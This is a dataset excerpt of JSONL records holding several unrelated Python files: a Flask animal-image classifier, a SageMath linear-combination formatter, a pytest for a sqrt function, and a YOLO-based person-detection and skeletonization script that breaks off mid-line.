"max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "data-science-workshop/Workshop_August_2019.py", "max_issues_repo_name": "dheerajpoonia29/data-analytics-", "max_issues_repo_head_hexsha": "6f1e391cee9c7462277ad0abf262d3ad30421b64", "max_issues_repo_licenses": ["CNRI-Python", "Xnet", "X11"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "data-science-workshop/Workshop_August_2019.py", "max_forks_repo_name": "dheerajpoonia29/data-analytics-", "max_forks_repo_head_hexsha": "6f1e391cee9c7462277ad0abf262d3ad30421b64", "max_forks_repo_licenses": ["CNRI-Python", "Xnet", "X11"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.3846153846, "max_line_length": 111, "alphanum_fraction": 0.6742182891, "include": true, "reason": "import numpy", "num_tokens": 4851, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814794452761, "lm_q2_score": 0.19193278413614728, "lm_q1q2_score": 0.08329527361345601}}
{"text": "\r\nfrom __future__ import division, print_function\r\n# coding=utf-8\r\nimport sys\r\nimport os\r\nimport glob\r\nimport re\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport tensorflow as tf\r\n\r\nfrom tensorflow.compat.v1 import ConfigProto\r\nfrom tensorflow.compat.v1 import InteractiveSession\r\n\r\nconfig = ConfigProto()\r\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.2\r\nconfig.gpu_options.allow_growth = True\r\nsession = InteractiveSession(config=config)\r\n# Keras\r\nfrom tensorflow.keras.applications.resnet50 import preprocess_input\r\nfrom tensorflow.keras.models import load_model\r\nfrom tensorflow.keras.preprocessing import image\r\n\r\n# Flask utils\r\nfrom flask import Flask, redirect, url_for, request, render_template\r\nfrom werkzeug.utils import secure_filename\r\n#from gevent.pywsgi import WSGIServer\r\n\r\n# Define a flask app\r\napp = Flask(__name__)\r\n\r\n# Model saved with Keras model.save()\r\nMODEL_PATH ='animal.h5'\r\n\r\n# Load your trained model\r\nmodel = load_model(MODEL_PATH)\r\n\r\n\r\n\r\n\r\ndef model_predict(img_path, model):\r\n    print(img_path)\r\n    img = image.load_img(img_path, target_size=(224, 224))\r\n\r\n    # Preprocessing the image\r\n    x = image.img_to_array(img)\r\n    # x = np.true_divide(x, 255)\r\n    ## Scaling\r\n    x=x/255\r\n    x = np.expand_dims(x, axis=0)\r\n   \r\n\r\n    # Be careful how your trained model deals with the input\r\n    # otherwise, it won't make correct prediction!\r\n   # x = preprocess_input(x)\r\n\r\n    preds = model.predict(x)\r\n    preds=np.argmax(preds, axis=1)\r\n    if preds==89:\r\n        preds=\"zebra\"\r\n    elif preds==88:\r\n        preds=\"woodpecker\"\r\n    elif preds==87:\r\n        preds=\"wombat\"\r\n    elif preds==86:\r\n        preds=\"wolf\"\r\n    elif preds==85:\r\n        preds=\"whale\"\r\n    elif preds==84:\r\n        preds=\"turtle\"\r\n    elif preds==83:\r\n        preds=\"turkey\"\r\n    elif preds==82:\r\n        preds=\"tiger\"\r\n    elif preds==81:\r\n        preds=\"swan\"\r\n    elif preds==80:\r\n        preds=\"starfish\"\r\n    elif preds==79:\r\n        preds=\"squirrel\"\r\n    elif preds==78:\r\n        preds=\"squid\"\r\n    elif preds==77:\r\n        preds=\"sparrow\"\r\n    elif preds==76:\r\n        preds=\"snake\"\r\n    elif preds==75:\r\n        preds=\"sheep\"\r\n    elif preds==74:\r\n        preds=\"shark\"\r\n    elif preds==73:\r\n        preds=\"seal\"\r\n    elif preds==72:\r\n        preds=\"seahorse\"\r\n    elif preds==71:\r\n        preds=\"sandpiper\"\r\n    elif preds==70:\r\n        preds=\"rhinoceros\"\r\n    elif preds==69:\r\n        preds=\"reindeer\"\r\n    elif preds==68:\r\n        preds=\"rat\"\r\n    elif preds==67:\r\n        preds=\"raccon\"\r\n    elif preds==66:\r\n        preds=\"possum\"\r\n    elif preds==65:\r\n        preds=\"porcupine\"\r\n    elif preds==64:\r\n        preds=\"pigeon\"\r\n    elif preds==63:\r\n        preds=\"pig\"\r\n    elif preds==62:\r\n        preds=\"penguine\"\r\n    elif preds==61:\r\n        preds=\"pelecaniformes\"\r\n    elif preds==60:\r\n        preds=\"parrot\"\r\n    elif preds==59:\r\n        preds=\"panda\"\r\n    elif preds==58:\r\n        preds=\"oyster\"\r\n    elif preds==57:\r\n        preds=\"ox\"\r\n    elif preds==56:\r\n        preds=\"owl\"\r\n    elif preds==55:\r\n        preds=\"otter\"\r\n    elif preds==54:\r\n        preds=\"orangutan\"\r\n    elif preds==53:\r\n        preds=\"okapi\"\r\n    elif preds==52:\r\n        preds=\"octopus\"\r\n    elif preds==51:\r\n        preds=\"mouse\"\r\n    elif preds==50:\r\n        preds=\"moth\"\r\n    elif preds==49:\r\n        preds=\"mosquito\"\r\n    elif preds==48:\r\n        preds=\"lobster\"\r\n    elif preds==47:\r\n        preds=\"lizard\"\r\n    elif preds==46:\r\n        preds=\"lion\"\r\n    elif preds==45:\r\n        preds=\"leopard\"\r\n    elif preds==44:\r\n        preds=\"ladybugs\"\r\n    elif preds==43:\r\n        preds=\"Koala\"\r\n    elif preds==42:\r\n        preds=\"Kangaroo\"\r\n    elif preds==41:\r\n        preds=\"jellyfish\"\r\n    elif preds==40:\r\n        preds=\"hyena\"\r\n    elif preds==39:\r\n        preds=\"hummingbird\"\r\n    elif preds==38:\r\n        preds=\"hourse\"\r\n    elif preds==37:\r\n        preds=\"hornbill\"\r\n    elif preds==36:\r\n        preds=\"hipopotamus\"\r\n    elif preds==35:\r\n        preds=\"hedgehog\"\r\n    elif preds==34:\r\n        preds=\"hare\"\r\n    elif preds==33:\r\n        preds=\"hamster\"\r\n    elif preds==32:\r\n        preds=\"grasshopper\"\r\n    elif preds==31:\r\n        preds=\"gorilla\"\r\n    elif preds==30:\r\n        preds=\"goose\"\r\n    elif preds==29:\r\n        preds=\"goldfish\"\r\n    elif preds==28:\r\n        preds=\"goat\"\r\n    elif preds==27:\r\n        preds=\"fox\"\r\n    elif preds==26:\r\n        preds=\"fly\"\r\n    elif preds==25:\r\n        preds=\"flamingo\"\r\n    elif preds==24:\r\n        preds=\"elephant\"\r\n    elif preds==23:\r\n        preds=\"eagle\"\r\n    elif preds==22:\r\n        preds=\"duck\"\r\n    elif preds==21:\r\n        preds=\"dragonfly\"\r\n    elif preds==20:\r\n        preds=\"donky\"\r\n    elif preds==19:\r\n        preds=\"dolphin\"\r\n    elif preds==18:\r\n        preds=\"dog\"\r\n    elif preds==17:\r\n        preds=\"deer\"\r\n    elif preds==16:\r\n        preds=\"crow\"\r\n    elif preds==15:\r\n        preds=\"crab\"\r\n    elif preds==14:\r\n        preds=\"coyote\"\r\n    elif preds==13:\r\n        preds=\"cow\"\r\n    elif preds==12:\r\n        preds=\"cockroach\"\r\n    elif preds==11:\r\n        preds=\"chimpanzee\"\r\n    elif preds==10:\r\n        preds=\"caterpillar\"\r\n    elif preds==9:\r\n        preds=\"cat\"\r\n    elif preds==8:\r\n        preds=\"butterfly\"\r\n    elif preds==7:\r\n        preds=\"boar\"\r\n    elif preds==6:\r\n        preds=\"bison\"   \r\n    elif preds == 5:\r\n        preds = \"beetle\"\r\n    elif preds == 4:\r\n        preds = \"bee\"\r\n    elif preds == 3:\r\n        preds = \"bear\"\r\n    elif preds == 2:\r\n        preds = \"bat\"\r\n    elif preds == 1:\r\n        preds = \"badger\"\r\n    elif preds == 0:\r\n        preds = \"antelope\"\r\n    \r\n    return preds\r\n\r\n\r\n@app.route('/', methods=['GET'])\r\ndef index():\r\n    # Main page\r\n    return render_template('app.html')\r\n\r\n\r\n@app.route('/predict', methods=['GET', 'POST'])\r\ndef upload():\r\n    if request.method == 'POST':\r\n        # Get the file from post request\r\n        f = request.files['file']\r\n\r\n        # Save the file to ./uploads\r\n        basepath = os.path.dirname(__file__)\r\n        file_path = os.path.join(\r\n            basepath, 'uploads', secure_filename(f.filename))\r\n        f.save(file_path)\r\n\r\n        # Make prediction\r\n        preds = model_predict(file_path, model)\r\n        result=preds\r\n        return result\r\n    return None\r\n\r\n\r\nif __name__ == '__main__':\r\n    app.run(port=5001,debug=True)", "meta": {"hexsha": "3a580c082e77577ad0d7b6adb65e7ae0deab4511", "size": 6295, "ext": "py", "lang": "Python", "max_stars_repo_path": "app.py", "max_stars_repo_name": "TEJASsKoundinya/Animal-Identification-", "max_stars_repo_head_hexsha": "5cd675a18add443a81ae01e6fedbd084a0faac79", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2022-03-19T19:46:33.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-19T19:46:36.000Z", "max_issues_repo_path": "app.py", "max_issues_repo_name": "TEJASsKoundinya/Animal-Identification-", "max_issues_repo_head_hexsha": "5cd675a18add443a81ae01e6fedbd084a0faac79", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "app.py", "max_forks_repo_name": "TEJASsKoundinya/Animal-Identification-", "max_forks_repo_head_hexsha": "5cd675a18add443a81ae01e6fedbd084a0faac79", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.4014869888, "max_line_length": 69, "alphanum_fraction": 0.5540905481, "include": true, "reason": "import numpy", "num_tokens": 1603, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.16026603433317138, "lm_q1q2_score": 0.0832616220207887}}
{"text": "\"\"\"\nRepr formatting support\n\"\"\"\n\n\ndef coeff_repr(c, is_latex=False):\n    r\"\"\"\n    String representing coefficients in a linear combination.\n\n    INPUT:\n\n    - ``c`` -- a coefficient (i.e., an element of a ring)\n\n    OUTPUT:\n\n    A string\n\n    EXAMPLES::\n\n        sage: from sage.misc.repr import coeff_repr\n        sage: coeff_repr(QQ(1/2))\n        '1/2'\n        sage: coeff_repr(-x^2)\n        '(-x^2)'\n        sage: coeff_repr(QQ(1/2), is_latex=True)\n        '\\\\frac{1}{2}'\n        sage: coeff_repr(-x^2, is_latex=True)\n        '\\\\left(-x^{2}\\\\right)'\n    \"\"\"\n    if not is_latex:\n        try:\n            return c._coeff_repr()\n        except AttributeError:\n            pass\n    if isinstance(c, (int, float)):\n        return str(c)\n    if is_latex and hasattr(c, '_latex_'):\n        s = c._latex_()\n    else:\n        s = str(c).replace(' ', '')\n    if s.find(\"+\") != -1 or s.find(\"-\") != -1:\n        if is_latex:\n            return \"\\\\left(%s\\\\right)\" % s\n        else:\n            return \"(%s)\" % s\n    return s\n\n\ndef repr_lincomb(terms, is_latex=False, scalar_mult=\"*\", strip_one=False,\n                 repr_monomial=None, latex_scalar_mult=None):\n    \"\"\"\n    Compute a string representation of a linear combination of some\n    formal symbols.\n\n    INPUT:\n\n    - ``terms`` -- list of terms, as pairs (support, coefficient)\n    - ``is_latex`` -- whether to produce latex (default: ``False``)\n    - ``scalar_mult`` -- string representing the multiplication (default:``'*'``)\n    - ``latex_scalar_mult`` -- latex string representing the multiplication\n      (default: a space if ``scalar_mult`` is ``'*'``; otherwise ``scalar_mult``)\n    - ``coeffs`` -- for backward compatibility\n\n    OUTPUT:\n\n    -  ``str`` - a string\n\n    EXAMPLES::\n\n        sage: repr_lincomb([('a',1), ('b',-2), ('c',3)])\n        'a - 2*b + 3*c'\n        sage: repr_lincomb([('a',0), ('b',-2), ('c',3)])\n        '-2*b + 3*c'\n        sage: repr_lincomb([('a',0), ('b',2), ('c',3)])\n        '2*b + 3*c'\n        sage: repr_lincomb([('a',1), ('b',0), ('c',3)])\n        'a + 3*c'\n        sage: repr_lincomb([('a',-1), ('b','2+3*x'), ('c',3)])\n        '-a + (2+3*x)*b + 3*c'\n        sage: repr_lincomb([('a', '1+x^2'), ('b', '2+3*x'), ('c', 3)])\n        '(1+x^2)*a + (2+3*x)*b + 3*c'\n        sage: repr_lincomb([('a', '1+x^2'), ('b', '-2+3*x'), ('c', 3)])\n        '(1+x^2)*a + (-2+3*x)*b + 3*c'\n        sage: repr_lincomb([('a', 1), ('b', -2), ('c', -3)])\n        'a - 2*b - 3*c'\n        sage: t = PolynomialRing(RationalField(),'t').gen()\n        sage: repr_lincomb([('a', -t), ('s', t - 2), ('', t^2 + 2)])\n        '-t*a + (t-2)*s + (t^2+2)'\n\n    Examples for ``scalar_mult``::\n\n        sage: repr_lincomb([('a',1), ('b',2), ('c',3)], scalar_mult='*')\n        'a + 2*b + 3*c'\n        sage: repr_lincomb([('a',2), ('b',0), ('c',-3)], scalar_mult='**')\n        '2**a - 3**c'\n        sage: repr_lincomb([('a',-1), ('b',2), ('c',3)], scalar_mult='**')\n        '-a + 2**b + 3**c'\n\n    Examples for ``scalar_mult`` and ``is_latex``::\n\n        sage: repr_lincomb([('a',-1), ('b',2), ('c',3)], is_latex=True)\n        '-a + 2 b + 3 c'\n        sage: repr_lincomb([('a',-1), ('b',-1), ('c',3)], is_latex=True, scalar_mult='*')\n        '-a - b + 3 c'\n        sage: repr_lincomb([('a',-1), ('b',2), ('c',-3)], is_latex=True, scalar_mult='**')\n        '-a + 2**b - 3**c'\n        sage: repr_lincomb([('a',-2), ('b',-1), ('c',-3)], is_latex=True, latex_scalar_mult='*')\n        '-2*a - b - 3*c'\n        sage: repr_lincomb([('a',-2), ('b',-1), ('c',-3)], is_latex=True, latex_scalar_mult='')\n        '-2a - b - 3c'\n\n    Examples for ``strip_one``::\n\n        sage: repr_lincomb([ ('a',1), (1,-2), ('3',3) ])\n        'a - 2*1 + 3*3'\n        sage: repr_lincomb([ ('a',-1), (1,1), ('3',3) ])\n        '-a + 1 + 3*3'\n        sage: repr_lincomb([ ('a',1), (1,-2), ('3',3) ], strip_one = True)\n        'a - 2 + 3*3'\n        sage: repr_lincomb([ ('a',-1), (1,1), ('3',3) ], strip_one = True)\n        '-a + 1 + 3*3'\n        sage: repr_lincomb([ ('a',1), (1,-1), ('3',3) ], strip_one = True)\n        'a - 1 + 3*3'\n\n    Examples for ``repr_monomial``::\n\n        sage: repr_lincomb([('a',1), ('b',2), ('c',3)], repr_monomial = lambda s: s+\"1\")\n        'a1 + 2*b1 + 3*c1'\n\n    TESTS:\n\n    Verify that :trac:`31672` is fixed::\n\n        sage: alpha = var(\"alpha\")\n        sage: repr_lincomb([(x, alpha)], is_latex=True)\n        '\\\\alpha x'\n        sage: A.<psi> = PolynomialRing(QQ)\n        sage: B.<t> = FreeAlgebra(A)\n        sage: (psi * t)._latex_()\n        '\\\\psi t'\n    \"\"\"\n    # Setting scalar_mult: symbol used for scalar multiplication\n    if is_latex:\n        if latex_scalar_mult is not None:\n            scalar_mult = latex_scalar_mult\n        elif scalar_mult == \"*\":\n            scalar_mult = \" \"\n\n    if repr_monomial is None:\n        if is_latex:\n\n            def repr_monomial(monomial):\n                return monomial._latex_() if hasattr(monomial, '_latex_') else str(monomial)\n        else:\n            repr_monomial = str\n\n    s = \"\"\n    first = True\n\n    if scalar_mult is None:\n        scalar_mult = \"\" if is_latex else \"*\"\n\n    for (monomial, c) in terms:\n        if c != 0:\n            coeff = coeff_repr(c)\n            negative = False\n            if len(coeff) and coeff[0] == \"-\":\n                negative = True\n            try:\n                if c < 0:\n                    negative = True\n            except (NotImplementedError, TypeError):\n                # comparisons may not be implemented for some coefficients\n                pass\n            if negative:\n                coeff = coeff_repr(-c, is_latex)\n            else:\n                coeff = coeff_repr(c, is_latex)\n            if coeff == \"1\":\n                coeff = \"\"\n            if coeff != \"0\":\n                if negative:\n                    if first:\n                        sign = \"-\"  # add trailing space?\n                    else:\n                        sign = \" - \"\n                else:\n                    if first:\n                        sign = \"\"\n                    else:\n                        sign = \" + \"\n                b = repr_monomial(monomial)\n                if len(b):\n                    if coeff != \"\":\n                        if b == \"1\" and strip_one:\n                            b = \"\"\n                        else:\n                            b = scalar_mult + b\n                s += \"%s%s%s\" % (sign, coeff, b)\n                first = False\n    if first:\n        return \"0\"\n        # this can happen only if are only terms with coeff_repr(c) == \"0\"\n    # elif s == \"\":\n        # return \"1\"  # is empty string representation invalid?\n    else:\n        return s\n", "meta": {"hexsha": "80265ac3cc3f6b8f0e4bac0d0ec127942c293507", "size": 6632, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/repr.py", "max_stars_repo_name": "UCD4IDS/sage", "max_stars_repo_head_hexsha": "43474c96d533fd396fe29fe0782d44dc7f5164f7", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/misc/repr.py", "max_issues_repo_name": "UCD4IDS/sage", "max_issues_repo_head_hexsha": "43474c96d533fd396fe29fe0782d44dc7f5164f7", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/repr.py", "max_forks_repo_name": "UCD4IDS/sage", "max_forks_repo_head_hexsha": "43474c96d533fd396fe29fe0782d44dc7f5164f7", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8846153846, "max_line_length": 96, "alphanum_fraction": 0.4506936068, "include": true, "reason": "from sage", "num_tokens": 1972, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.17328820379459514, "lm_q1q2_score": 0.08326128708052338}}
{"text": "import pytest\nimport numpy as np\nfrom example_module import sqrt\n\n\ndef test_sqrt():\n\n    # Cannot square root a negative number with this function\n    with pytest.raises(ValueError):\n        _ = sqrt(-1.0)\n\n    # but can with positive numbers\n    assert np.isclose(sqrt(1.0), 1.0)\n    assert np.isclose(sqrt(4.0), 2.0)\n", "meta": {"hexsha": "68aa942bd83afc00f57013e4bb439eecfc56c4b4", "size": 319, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_functions.py", "max_stars_repo_name": "t-young31/github_actions_cc", "max_stars_repo_head_hexsha": "f4b61b3efde9804b9c6c07f411ffb141a9cc5817", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_functions.py", "max_issues_repo_name": "t-young31/github_actions_cc", "max_issues_repo_head_hexsha": "f4b61b3efde9804b9c6c07f411ffb141a9cc5817", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_functions.py", "max_forks_repo_name": "t-young31/github_actions_cc", "max_forks_repo_head_hexsha": "f4b61b3efde9804b9c6c07f411ffb141a9cc5817", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.2666666667, "max_line_length": 61, "alphanum_fraction": 0.6833855799, "include": true, "reason": "import numpy", "num_tokens": 85, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.17328819952513227, "lm_q1q2_score": 0.08326128502913752}}
{"text": "# -*- coding: utf-8 -*-\n\nimport colorsys\nimport os\nimport cv2\nfrom timeit import default_timer as timer\nfrom skimage.morphology import skeletonize\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import load_model\nfrom keras.layers import Input\nfrom PIL import Image, ImageFont, ImageDraw\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau\nfrom yolo3.model import yolo_eval, yolo_body, tiny_yolo_body\nfrom yolo3.utils import letterbox_image\nimport os\nfrom keras.utils import multi_gpu_model,to_categorical\nfrom keras.layers import Conv2D,GlobalAveragePooling2D,Dropout,Dense,Flatten,BatchNormalization\nfrom keras.optimizers import Adam\nfrom keras import Model\n#from Motor_Control import Motorize\nclass YOLO(object):\n    _defaults = {\n        \"model_path\": 'model_data/yolo.h5',\n        \"anchors_path\": 'model_data/yolo_anchors.txt',\n        \"classes_path\": 'model_data/coco_classes.txt',\n        \"score\" : 0.3,\n        \"iou\" : 0.45,\n        \"model_image_size\" : (416, 416),\n        \"gpu_num\" : 1,\n    }\n\n    @classmethod\n    def get_defaults(cls, n):\n        if n in cls._defaults:\n            return cls._defaults[n]\n        else:\n            return \"Unrecognized attribute name '\" + n + \"'\"\n\n    def __init__(self):#, **kwargs):\n        self.__dict__.update(self._defaults) # set up default values\n        #self.__dict__.update(kwargs) # and update with user overrides\n        self.class_names = self._get_class()\n        self.anchors = self._get_anchors()\n        self.sess = K.get_session()\n        self.boxes, self.scores, self.classes = self.generate()\n\n    def _get_class(self):\n        classes_path = os.path.expanduser(self.classes_path)\n        with open(classes_path) as f:\n            class_names = f.readlines()\n        class_names = [c.strip() for c in class_names]\n        return class_names\n\n    def _get_anchors(self):\n        anchors_path = os.path.expanduser(self.anchors_path)\n        with open(anchors_path) as f:\n            anchors = f.readline()\n        anchors = [float(x) for x in anchors.split(',')]\n        return np.array(anchors).reshape(-1, 2)\n\n    def generate(self):\n        model_path = os.path.expanduser(self.model_path)\n        assert model_path.endswith('.h5'), 'Keras model or weights must be a .h5 file.'\n\n        # Load model, or construct model and load weights.\n        num_anchors = len(self.anchors)\n        num_classes = len(self.class_names)\n        is_tiny_version = num_anchors==6 # default setting\n        try:\n            self.yolo_model = load_model(model_path, compile=False)\n        except:\n            self.yolo_model = tiny_yolo_body(Input(shape=(None,None,3)), num_anchors//2, num_classes) \\\n                if is_tiny_version else yolo_body(Input(shape=(None,None,3)), num_anchors//3, num_classes)\n            self.yolo_model.load_weights(self.model_path) # make sure model, anchors and classes match\n        else:\n            assert self.yolo_model.layers[-1].output_shape[-1] == \\\n                num_anchors/len(self.yolo_model.output) * (num_classes + 5), \\\n                'Mismatch between model and given anchor and class sizes'\n\n        print('{} model, anchors, and classes loaded.'.format(model_path))\n\n        # Generate colors for drawing bounding boxes.\n        hsv_tuples = [(x / len(self.class_names), 1., 1.)\n                      for x in range(len(self.class_names))]\n        self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\n        self.colors = list(\n            map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)),\n                self.colors))\n        np.random.seed(10101)  # Fixed seed for consistent colors across runs.\n        np.random.shuffle(self.colors)  # Shuffle colors to decorrelate adjacent classes.\n        np.random.seed(None)  # Reset seed to default.\n\n        # Generate output tensor targets for filtered bounding boxes.\n        self.input_image_shape = K.placeholder(shape=(2, ))\n        if self.gpu_num>=2:\n            self.yolo_model = multi_gpu_model(self.yolo_model, gpus=self.gpu_num)\n        boxes, scores, classes = yolo_eval(self.yolo_model.output, self.anchors,\n                len(self.class_names), self.input_image_shape,\n                score_threshold=self.score, iou_threshold=self.iou)\n        return boxes, scores, classes\n\n    def detect_image(self, image):\n        start = timer()\n\n        if self.model_image_size != (None, None):\n            assert self.model_image_size[0]%32 == 0, 'Multiples of 32 required'\n            assert self.model_image_size[1]%32 == 0, 'Multiples of 32 required'\n            boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size)))\n        else:\n            new_image_size = (image.width - (image.width % 32),\n                              image.height - (image.height % 32))\n            boxed_image = letterbox_image(image, new_image_size)\n        image_data = np.array(boxed_image, dtype='float32')\n\n        print(image_data.shape)\n        image_data /= 255.\n        image_data = np.expand_dims(image_data, 0)  # Add batch dimension.\n\n        out_boxes, out_scores, out_classes = self.sess.run(\n            [self.boxes, self.scores, self.classes],\n            feed_dict={\n                self.yolo_model.input: image_data,\n                self.input_image_shape: [image.size[1], image.size[0]],\n                K.learning_phase(): 0\n            })\n\n        print('Found {} boxes for {}'.format(len(out_boxes), 'img'))\n\n        font = ImageFont.truetype(font='font/FiraMono-Medium.otf',\n                    size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32'))\n        thickness = (image.size[0] + image.size[1]) // 300\n\n        for i, c in reversed(list(enumerate(out_classes))):\n            predicted_class = self.class_names[c]\n            box = out_boxes[i]\n            score = out_scores[i]\n\n            label = '{} {:.2f}'.format(predicted_class, score)\n            draw = ImageDraw.Draw(image)\n            label_size = draw.textsize(label, font)\n\n            top, left, bottom, right = box\n            top = max(0, np.floor(top + 0.5).astype('int32'))\n            left = max(0, np.floor(left + 0.5).astype('int32'))\n            bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n            right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n            print(label, (left, top), (right, bottom))\n\n            if top - label_size[1] >= 0:\n                text_origin = np.array([left, top - label_size[1]])\n            else:\n                text_origin = np.array([left, top + 1])\n\n            # My kingdom for a good redistributable image drawing library.\n            for i in range(thickness):\n                draw.rectangle(\n                    [left + i, top + i, right - i, bottom - i],\n                    outline=self.colors[c])\n            draw.rectangle(\n                [tuple(text_origin), tuple(text_origin + label_size)],\n                fill=self.colors[c])\n            draw.text(text_origin, label, fill=(0, 0, 0), font=font)\n            del draw\n\n        end = timer()\n        print(end - start)\n        return image\n\n    def detect_person(self, image):\n        start = timer()\n\n        if self.model_image_size != (None, None):\n            assert self.model_image_size[0]%32 == 0, 'Multiples of 32 required'\n            assert self.model_image_size[1]%32 == 0, 'Multiples of 32 required'\n            boxed_image = letterbox_image(image, tuple(reversed(self.model_image_size)))\n        else:\n            new_image_size = (image.width - (image.width % 32),\n                              image.height - (image.height % 32))\n            boxed_image = letterbox_image(image, new_image_size)\n        image_data = np.array(boxed_image, dtype='float32')\n        pre = image_data\n        print(image_data.shape)\n        image_data /= 255.\n        image_data = np.expand_dims(image_data, 0)  # Add batch dimension.\n        print(\"Pre model feed\")\n\n        cv2.imshow(\"IMAGE PRE\",pre)\n        cv2.waitKey(1)\n        out_boxes, out_scores, out_classes = self.sess.run(\n            [self.boxes, self.scores, self.classes],\n            feed_dict={\n                self.yolo_model.input: image_data,\n                self.input_image_shape: [image.size[1], image.size[0]],\n                K.learning_phase(): 0\n            })\n\n        print('Found {} boxes for {}'.format(len(out_boxes), 'img'))\n\n        font = ImageFont.truetype(font='font/FiraMono-Medium.otf',\n                    size=np.floor(3e-2 * image.size[1] + 0.5).astype('int32'))\n        thickness = (image.size[0] + image.size[1]) // 300\n\n        cc=0\n        existing=False\n        persons_detected=[]\n        for i, c in reversed(list(enumerate(out_classes))):\n            predicted_class = self.class_names[c]\n            box = out_boxes[i]\n            score = out_scores[i]\n            if predicted_class==\"person\":\n                top, left, bottom, right = box\n                top = max(0, np.floor(top + 0.5).astype('int32'))\n                left = max(0, np.floor(left + 0.5).astype('int32'))\n                bottom = min(image.size[1], np.floor(bottom + 0.5).astype('int32'))\n                right = min(image.size[0], np.floor(right + 0.5).astype('int32'))\n                cc+=1\n                persons_detected.append([left,top,right,bottom])\n        if cc>0:\n            existing=True\n        return existing,persons_detected\n\n    def close_session(self):\n        self.sess.close()\n\ndef save_pics(yolo):\n    import cv2\n    targets_available=[\"Non_Sign\",\"Ped_Sign\",\"Pol_Sign\"]\n    id_selected=0\n    for i in range(3):\n        id_selected = i\n        target =targets_available[id_selected]\n        for (root, dirs, files) in os.walk('Img/'+str(target)):\n            if files:\n                for f in files:\n                    print(f)\n                    path = os.path.join(root, f)\n                    frame = cv2.imread(path)\n                    image = Image.fromarray(frame)\n                    same_frame = np.copy(image)\n                    # image = yolo.detect_image(image)\n                    same_frame = cv2.blur(same_frame,(5,5))\n                    imgray = cv2.cvtColor(same_frame, cv2.COLOR_BGR2GRAY)\n                    thresh = cv2.adaptiveThreshold(imgray, 1, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 11, 2)\n                    sk = skeletonize(thresh)\n                    sk = np.asarray(sk, dtype=np.uint8)\n                    sk = sk * 255\n                    #cv2.imshow('skel', sk)\n                    someone, roi_coords = yolo.detect_person(image)\n                    if someone:\n                        roi_coords = np.asarray(roi_coords)\n                        for t in range(roi_coords.shape[0]):\n                            left, top, right, bottom = roi_coords[t]\n                            roi_sk = sk[top:bottom, left:right]\n                            print(roi_coords[t])\n                            #cv2.imshow(\"test\" + str(t), roi_sk)\n                            cv2.imwrite('Img/' + str(target)+'/res/'+f,roi_sk)\n                            #cv2.waitKey(1)\n\n\ndef load_data():\n    import cv2\n    targets_available = [\"Non_Sign\", \"Ped_Sign\", \"Pol_Sign\"]\n    data=np.uint8\n    temp_label=[]\n    temp_data=[]\n    Y=[]\n    otro = []\n    images = np.array([], dtype=object)\n    c=0\n    for id_selected in range(3):\n        temp_label = to_categorical(id_selected,3)\n        #print(\"Temp_label\"+str(temp_label))\n        target = targets_available[id_selected]\n        for (root, dirs, files) in os.walk('Img/' + str(target)+'/res/'):\n            if files:\n                for f in files:\n                    #print(f)\n                    path = os.path.join(root, f)\n                    print(path)\n                    print(temp_label)\n                    frame = cv2.imread(path,0)\n                    print(np.asarray(frame).shape)\n                    frame = cv2.resize(frame,(44,146))\n                    print(np.asarray(frame).shape)\n                    frame = np.asarray(frame)\n                    #cv2.imshow(\"fr\",frame)\n                    #cv2.waitKey(1)\n                    #print(frame.shape)\n                    #frame = np.reshape(frame,(-1,frame.shape[0],frame.shape[1],1))\n                    frame = frame/255\n                    print(frame)\n                    frame = 